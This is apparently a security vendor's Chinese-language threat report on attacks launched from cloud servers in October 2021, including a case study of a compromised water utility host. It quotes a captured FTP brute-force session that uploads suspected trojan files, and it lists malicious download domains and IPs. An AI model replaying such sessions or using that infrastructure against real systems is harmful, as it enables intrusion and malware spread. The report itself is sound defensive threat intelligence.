accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US">124.70.64.99</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="151" nowrap="" style="width:4.0cm;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman"">华为云</span></p>
</div>
</td>
<td width="89" nowrap="" style="width:66.75pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7</span></p>
</td>
<td width="80" nowrap="" style="width:60.1pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><h1 id="4-">4 云上关键基础设施案例分析</h1><p>在对云服务器密码爆破攻击行为的分析中，一个IP地址为<strong>47.92.*.*</strong>的阿里云主机引起了我们的兴趣。我们发现这个发起了大量FTP爆破攻击的IP地址绑定了一个网站。这个网站可以用微信访问，首页如下图所示。此外，该IP还关联了另一个网站，但该网站由于未备案，已经被阿里云屏蔽无法访问。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/9-2.png" class="kg-image" alt loading="lazy"></figure><p>该网站有我的账户、缴纳水费、报修等功能，结合网页上的相关信息和搜索结果后发现该网站是<strong>某市供排水总公司</strong>的官方网站，属于城市基础设施，我们怀疑该服务器被人入侵。</p><p>该网站可能存储了大量的公民个人身份信息和水费账户信息，被入侵后黑客可随意访问网站的后台数据库，这些信息可能已经泄露，此外，该服务器可能还会被用作黑客开展其他恶意行为的代理。</p><p>这个IP在10月份有2天较为活跃，分别是在10月1日和28日，活跃时间主要在北京时间晚上20~24点（图中为UTC时间，北京时间需要+8小时）。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/---1.png" class="kg-image" alt loading="lazy"></figure><p>该IP主要访问21和2121的FTP端口，以及一些接近60000的高端口，其中21和2121端口的Payload是FTP的控制命令，高端口的Payload是样本文件的数据。该IP在21和2121端口上进行FTP服务器弱密码爆破，爆破成功后在被动模式下通过接近60000的随机端口上传Photo.scr、AV.scr和Video.lnk三个文件（疑似FTP木马）。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/---2.png" class="kg-image" alt loading="lazy"></figure><p>以下是其中一条FTP暴力破解的控制Payload，可以看出从密码爆破到发送恶意文件的完整攻击过程：</p><!--kg-card-begin: markdown--><p>USER admin<br>
PASS 123qwe!@#<br>
PWD<br>
CWD /<br>
PASV<br>
STOR <a href="//Photo.scr">//Photo.scr</a><br>
PASV<br>
PASV<br>
STOR <a href="//AV.scr">//AV.scr</a><br>
PASV<br>
PASV<br>
STOR <a href="//Video.lnk">//Video.lnk</a><br>
PASV<br>
TYPE A<br>
PASV</p>
<!--kg-card-end: markdown--><h1 id="5-">5 防护建议 </h1><p>云计算服务的用户应做好及时的漏洞检查和修补工作，避免将不必要的端口和服务暴露在公网上，避免使用容易被黑客破解的弱密码，关注所使用服务的0-day漏洞信息，配备云服务厂商提供的云安全产品等，以免云服务器被黑客入侵。 </p><p>云计算服务商为了保证云服务业务正常运行，防止具有恶意行为的主机挤占正常用户带宽或对外攻击造成安全风险，应关注云服务器被恶意使用的情况。360 Anglerfish蜜罐可帮助云服务商监测云服务器在互联网上的恶意攻击行为，并提供了SaaS和私有化部署两种部署方案。360 Anglerfish蜜罐系统具有灵活度高，误报率低，告警信息准确，对各类网络环境的适应性强，可模拟定制化网上资产等优势。此外，Anglerfish蜜罐系统告警信息全面，不仅包括命中蜜罐的云服务器IP、端口、通信协议等基本信息，也包括发送垃圾和钓鱼邮件信息、利用漏洞（包括0-day漏洞）在互联网上进行扫描和攻击的信息、在公网上爆破密码攻击信息、传播病毒木马等恶意软件的信息等自动化输出的威胁情报。这些信息可帮助云服务商企业管理向公网提供服务的各类云服务设备，针对性排查和处理相关设备，封停相关可疑账号，建立威胁情报内生的能力，保护业务稳定安全。 </p><h1 id="6-">6 联系我们</h1><p>感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。</p><h1 id="7-">7 参考链接 </h1><p>《关键信息基础设施安全保护条例》 </p><p><a href="http://www.gov.cn/zhengce/content/2021-08/17/content_5631671.htm">http://www.gov.cn/zhengce/content/2021-08/17/content_5631671.htm</a> </p><p>阿里云《云平台安全规则》 </p><p><a href="https://help.aliyun.com/document_detail/37353.html">https://help.aliyun.com/document_detail/37353.html</a> </p><p>腾讯云《云安全违规处罚等级划分说明》 </p><p><a href="https://cloud.tencent.com/document/product/301/2003">https://cloud.tencent.com/document/product/301/2003</a> </p><h1></h1> | 1 概述
云计算服务价格低廉，部署快捷方便，但存在安全风险。黑客可以用虚假信息购买，或入侵他人机器获得云资源，用这些资源窃取、勒索原有用户的数据，或用于发起DDoS攻击、发送垃圾和钓鱼邮件、虚拟货币挖矿、刷单、违法代理和传播僵尸网络木马等其他恶意行为。
360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）通过模拟仿真技术伪装成针对互联网、物联网以及工业互联网的指纹特征、应用协议、应用程序和漏洞，捕获并分析网络扫描和网络攻击行为。在2021年10月，我们共监测到来自全球58253个云服务器IP共计9213万次的网络扫描和攻击，其中发现阿里云上网站“某市供排水总公司”持续地对外发起网络攻击行为。
2 云服务器攻击总体情况
由于IPv4地址和网络端口数量是有限的，黑客通过购买或入侵获取云服务器资源后，会扫描互联网IP地址，确定攻击目标。公网上的蜜罐系统模拟成相关设备和应用程序后，就有可能被黑客攻击。因此，蜜罐系统可以用于监测互联网上包括利用云服务器发起攻击在内的各类网络攻击行为。
我们的数据来源除了蜜罐系统搜集到的网络五元组、网络数据包和恶意软件样本信息外，还包括一个覆盖阿里云、腾讯云、华为云、中国电信天翼云、百度智能云、金山云、亚马逊AWS、微软Azure、谷歌云、Softlayer（IBM云）、Oracle云和Linode云等国内外十几家主流厂商的云服务器IP段列表。
云服务器攻击源IP的时间趋势和空间分布
从时间趋势上看，在10月份的大多数时间里，蜜罐系统每天发现具有攻击行为的云服务器IP地址600~1000个，攻击会话数1万条左右。
在10月14日、30日和31日，会话数出现了高于稳定范围的突增，其中IP地址为51.141.113.216的微软Azure云服务器在多个端口利用MikroTik路由器设备的CVE-2018-14847漏洞进行攻击引起了10月14日会话数的突增，IP地址为143.198.134.58的DigitalOcean云服务器发起的Telnet暴力破解引起了10月30日和31日的会话数的突增。
从地理位置上看，云服务器攻击源IP在亚洲、欧洲和北美洲较多，而在非洲、南美洲较少。中国和美国是攻击源IP数量最多的两个国家。
位于中国的云服务器攻击源IP分布在华北地区、东南沿海地区和西南地区，集中在北京、上海、广东、浙江等互联网和云计算行业较为发达的地区。
本节最后，我们比较各云服务商攻击源IP和攻击会话的数量。阿里云和腾讯云的攻击源IP的数量最多。而DigitalOcean发起攻击的会话数量最多。
3 云服务器上的恶意行为
本节中出现的云服务器恶意行为参考阿里云发布的《云平台安全规则》和腾讯云发布的《云安全违规处罚等级划分说明》。
使用云产品进行攻击
使用云产品进行的攻击行为类型包括DDoS攻击、WEB攻击、密码爆破攻击，传播木马病毒、控制僵尸网络等。其中，蜜罐技术可以监测到云服务器在互联网上发起密码爆破攻击和传播木马病毒的情况。
在密码爆破攻击方面，10月份我们共监测到854个云服务器源IP发起了约25.7万次的密码爆破攻击，其中对Telnet协议的爆破攻击最为常见。
下表提供了10月份爆破攻击次数最多的10个云服务器的IP地址，可以看到DigitalOcean已成为发起爆破攻击的“重灾区”。
IP地址
云服务商
协议/端口
次数
143.198.134.58
DigitalOcean
Telnet/TCP23
80,714
35.204.125.20
Google
Telnet/TCP23, TCP2323
19,466
137.184.204.41
DigitalOcean
Telnet/TCP23,
TCP2323
16,709
161.35.189.11
DigitalOcean
Telnet/TCP23
7,461
139.162.19.30
Linode
Telnet/TCP23,
TCP2323
7,340
192.81.215.231
DigitalOcean
Telnet/TCP23, TCP2323
5,138
167.99.119.54
DigitalOcean
Telnet/TCP23
5,123
143.198.124.174
DigitalOcean
Telnet/TCP23, TCP2323
4,633
174.138.35.234
DigitalOcean
Telnet/TCP23,
TCP2323
4,553
137.184.109.243
DigitalOcean
Telnet/TCP23, TCP2323
3,807
此外，我们发现一个IP地址为47.92.*.*的阿里云服务器在10月份发起了306次FTP爆破攻击。我们还发现该服务器上架设了一个网站，所有者是某市供排水总公司，属于云上重要基础设施。我们对该案例进行了详细分析，具体内容请见第4节。
在传播木马病毒、僵尸网络等恶意程序方面，10月份我们共监测到3324个云计算IP地址传播了157种恶意软件约88.2万次。
云服务器攻击者最流行的恶意软件家族类型包括了木马下载器（TrojanDownloader）、恶意挖矿软件（CoinMiner）、Tsunami僵尸网络程序等。在整个10月份，有近3000个云服务器IP发起了近27万次会话以传播恶意挖矿软件。恶意挖矿软件已经成为当前云服务器恶意软件中最主要突出的问题。
下表是传播恶意软件最活跃的10个IP。
IP地址
云服务商
传播次数
恶意软件家族
152.136.233.99
腾讯云
22,986
5
81.70.52.20
腾讯云
18,495
4
101.35.144.50
腾讯云
13,444
6
180.76.99.153
百度智能云
12,336
5
42.193.158.21
腾讯云
11,948
4
106.12.51.80
百度智能云
11,432
4
118.195.150.71
腾讯云
9,934
4
121.4.26.124
腾讯云
8,482
6
118.195.192.201
腾讯云
8,293
4
106.13.198.6
百度智能云
7,543
4
下表是传播恶意软件家族种类最为广泛的10个IP。IP传播的恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。
IP地址
云服务商
传播次数
恶意软件家族
47.103.194.76
阿里云
1,246
12
82.156.230.134
腾讯云
194
12
39.99.229.161
阿里云
160
12
82.157.178.33
腾讯云
703
12
1.15.106.141
腾讯云
544
11
1.13.157.209
腾讯云
105
11
35.225.48.2
Google
756
10
52.131.241.237
微软Azure
2,946
10
81.70.196.167
腾讯云
764
10
101.34.75.55
腾讯云
780
10
下面是恶意软件的下载URL中提取的下载服务器的IP/域名，建议屏蔽：
域名/IP地址
源IP数量
恶意软件家族
下载次数
oracle.zzhreceive.top
1,782
9
263,116
112.253.11.38
1,415
1
28,160
194.87.139.103
772
3
52,833
45.133.203.192
735
3
42,745
py2web.store
691
1
20,528
crypto.htxreceive.top
202
5
238,266
194.145.227.21
64
1
143
199.19.226.117
36
1
434
185.243.56.167
27
3
1,240
45.9.148.37
24
4
239
卸载云主机安全产品
阿里云、腾讯云等主流的云厂商，都在提供云服务的同时提供配套的免费或收费的主机安全产品，例如阿里云的主机安全产品称为安骑士，腾讯云的称为云镜。在开始进攻其他云服务器时，黑客通常首先会尝试卸载目标主机上预装的安全产品，以避免后续攻击过程被发现和阻止。以下是云服务器攻击源IP尝试卸载目标机器上的主机安全产品的情况。
以下是发送卸载云主机安全产品的恶意软件次数最多的10个IP。我们发现腾讯云和百度智能云的IP在卸载目标主机安全产品的行为上较为活跃：
IP地址
云服务商
恶意软件家族
传播次数
121.4.26.124
腾讯云
28
6,912
101.35.88.62
腾讯云
29
6,624
106.12.22.126
百度智能云
25
5,841
52.131.241.237
微软Azure
40
5,309
1.117.143.141
腾讯云
21
4,588
180.76.245.142
百度智能云
21
4,222
101.35.144.50
腾讯云
22
4,123
106.13.57.42
百度智能云
23
3,910
49.232.209.228
腾讯云
24
3,778
1.15.173.148
腾讯云
23
3,618
执行卸载主机安全产品行为的软件和脚本主要通过以下这些IP/域名下载。
域名/IP地址
源IP数量
下载次数
恶意软件数
update.aegis.aliyun.com
2,197
111,281
1,005
oracle.zzhreceive.top
1,136
181,556
74
112.253.11.38
1,128
19,307
7
45.133.203.192
869
136,761
114
py2web.store
769
45,032
8
194.87.139.103
763
110,061
10
194.145.227.21
168
727
18
103.209.103.16
13
116
11
154.66.240.59
8
3,537
8
86.105.195.120
3
416
10
除了第一位是阿里云官方提供的卸载软件的路径外，其余均为黑客搭建的恶意软件下载路径，这些路径的下载服务器主要分布在欧洲和美国。
漏洞的扫描和攻击
大多数云服务器攻击者倾向于使用热门应用程序的旧漏洞。我们发现，排除掉暴力破解后，云服务器攻击者最喜欢使用Redis漏洞。此外，NVR、DVR、网络摄像头等安防设备和路由器设备的漏洞也是云服务器漏洞攻击的主要目标。
被云服务器攻击者攻击最多的程序是Redis，其他包括MikroTik、GoAhead、DLink、ATLASSIAN等厂商的设备也是主要的被攻击目标。
以下是利用的漏洞种类最多的10个IP。
IP地址
云服务商
攻击次数
漏洞数量
193.122.151.6
Oracle
68,021
20
188.166.238.42
DigitalOcean
25
9
139.59.146.186
DigitalOcean
45
9
128.199.255.158
DigitalOcean
36
9
47.245.33.13
阿里云
41
9
130.61.102.8
Oracle
14
8
139.224.136.69
阿里云
21
8
140.238.177.83
Oracle
23
8
121.37.171.166
华为云
8
7
124.70.64.99
华为云
7
7
4 云上关键基础设施案例分析
在对云服务器密码爆破攻击行为的分析中，一个IP地址为47.92.*.*的阿里云主机引起了我们的兴趣。我们发现这个发起了大量FTP爆破攻击的IP地址绑定了一个网站。这个网站可以用微信访问，首页如下图所示。此外，该IP还关联了另一个网站，但该网站由于未备案，已经被阿里云屏蔽无法访问。
该网站有我的账户、缴纳水费、报修等功能，结合网页上的相关信息和搜索结果后发现该网站是某市供排水总公司的官方网站，属于城市基础设施，我们怀疑该服务器被人入侵。
该网站可能存储了大量的公民个人身份信息和水费账户信息，被入侵后黑客可随意访问网站的后台数据库，这些信息可能已经泄露，此外，该服务器可能还会被用作黑客开展其他恶意行为的代理。
这个IP在10月份有2天较为活跃，分别是在10月1日和28日，活跃时间主要在北京时间晚上20~24点（图中为UTC时间，北京时间需要+8小时）。
该IP主要访问21和2121的FTP端口，以及一些接近60000的高端口，其中21和2121端口的Payload是FTP的控制命令，高端口的Payload是样本文件的数据。该IP在21和2121端口上进行FTP服务器弱密码爆破，爆破成功后在被动模式下通过接近60000的随机端口上传Photo.scr、AV.scr和Video.lnk三个文件（疑似FTP木马）。
以下是其中一条FTP暴力破解的控制Payload，可以看出从密码爆破到发送恶意文件的完整攻击过程：
USER admin
PASS 123qwe!@#
PWD
CWD /
PASV
STOR //Photo.scr
PASV
PASV
STOR //AV.scr
PASV
PASV
STOR //Video.lnk
PASV
TYPE A
PASV
5 防护建议
云计算服务的用户应做好及时的漏洞检查和修补工作，避免将不必要的端口和服务暴露在公网上，避免使用容易被黑客破解的弱密码，关注所使用服务的0-day漏洞信息，配备云服务厂商提供的云安全产品等，以免云服务器被黑客入侵。
云计算服务商为了保证云服务业务正常运行，防止具有恶意行为的主机挤占正常用户带宽或对外攻击造成安全风险，应关注云服务器被恶意使用的情况。360 Anglerfish蜜罐可帮助云服务商监测云服务器在互联网上的恶意攻击行为，并提供了SaaS和私有化部署两种部署方案。360 Anglerfish蜜罐系统具有灵活度高，误报率低，告警信息准确，对各类网络环境的适应性强，可模拟定制化网上资产等优势。此外，Anglerfish蜜罐系统告警信息全面，不仅包括命中蜜罐的云服务器IP、端口、通信协议等基本信息，也包括发送垃圾和钓鱼邮件信息、利用漏洞（包括0-day漏洞）在互联网上进行扫描和攻击的信息、在公网上爆破密码攻击信息、传播病毒木马等恶意软件的信息等自动化输出的威胁情报。这些信息可帮助云服务商企业管理向公网提供服务的各类云服务设备，针对性排查和处理相关设备，封停相关可疑账号，建立威胁情报内生的能力，保护业务稳定安全。
6 联系我们
感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。
7 参考链接
《关键信息基础设施安全保护条例》
http://www.gov.cn/zhengce/content/2021-08/17/content_5631671.htm
阿里云《云平台安全规则》
https://help.aliyun.com/document_detail/37353.html
腾讯云《云安全违规处罚等级划分说明》
https://cloud.tencent.com/document/product/301/2003
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mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"111\" nowrap=\"\" valign=\"top\" style=\"width:83.0pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">云服务商</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"195\" nowrap=\"\" valign=\"top\" style=\"width:146.2pt;border-top:solid #A5A5A5 1.0pt;\n mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;\n mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:\n solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:\n solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;\n mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">协议</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt\">/</span></b><b><span style=\"mso-bidi-font-size:12.0pt;\n font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:\n "Times New Roman";color:white;mso-themecolor:background1;mso-font-kerning:\n 0pt\">端口</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;\n color:white;mso-themecolor:background1;mso-font-kerning:0pt;mso-bidi-font-weight:\n bold\"><o:p></o:p></span></p>\n </td>\n <td width=\"58\" nowrap=\"\" valign=\"top\" style=\"width:43.8pt;border:solid #A5A5A5 1.0pt;\n mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;\n mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;\n mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;\n mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:\n accent3;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:1\"><b><span style=\"mso-bidi-font-size:12.0pt;font-family:宋体;\n mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";\n color:white;mso-themecolor:background1;mso-font-kerning:0pt\">次数</span></b><span lang=\"EN-US\" style=\"mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;\n mso-font-kerning:0pt;mso-bidi-font-weight:bold\"><o:p></o:p></span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:0;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">143.198.134.58<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"111\" nowrap=\"\" style=\"width:83.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:64\"><span lang=\"EN-US\">DigitalOcean</span></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" style=\"mso-yfti-cnfc:64\"><span lang=\"EN-US\">Telnet/TCP23</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">80,714</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:1;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">35.204.125.20<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"111\" nowrap=\"\" style=\"width:83.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center\"><span lang=\"EN-US\">Google</span></p>\n </div>\n </td>\n <td width=\"195\" nowrap=\"\" style=\"width:146.2pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\"><span lang=\"EN-US\">Telnet/TCP23, TCP2323</span></p>\n </td>\n <td width=\"58\" nowrap=\"\" style=\"width:43.8pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">19,466</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:11.35pt\">\n <td width=\"129\" nowrap=\"\" style=\"width:96.6pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-pagination:widow-orphan;\n mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">137.184.204.41<o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"111\" nowrap=\"\" style=\"width:83.0pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt\">\n <div>\n <p 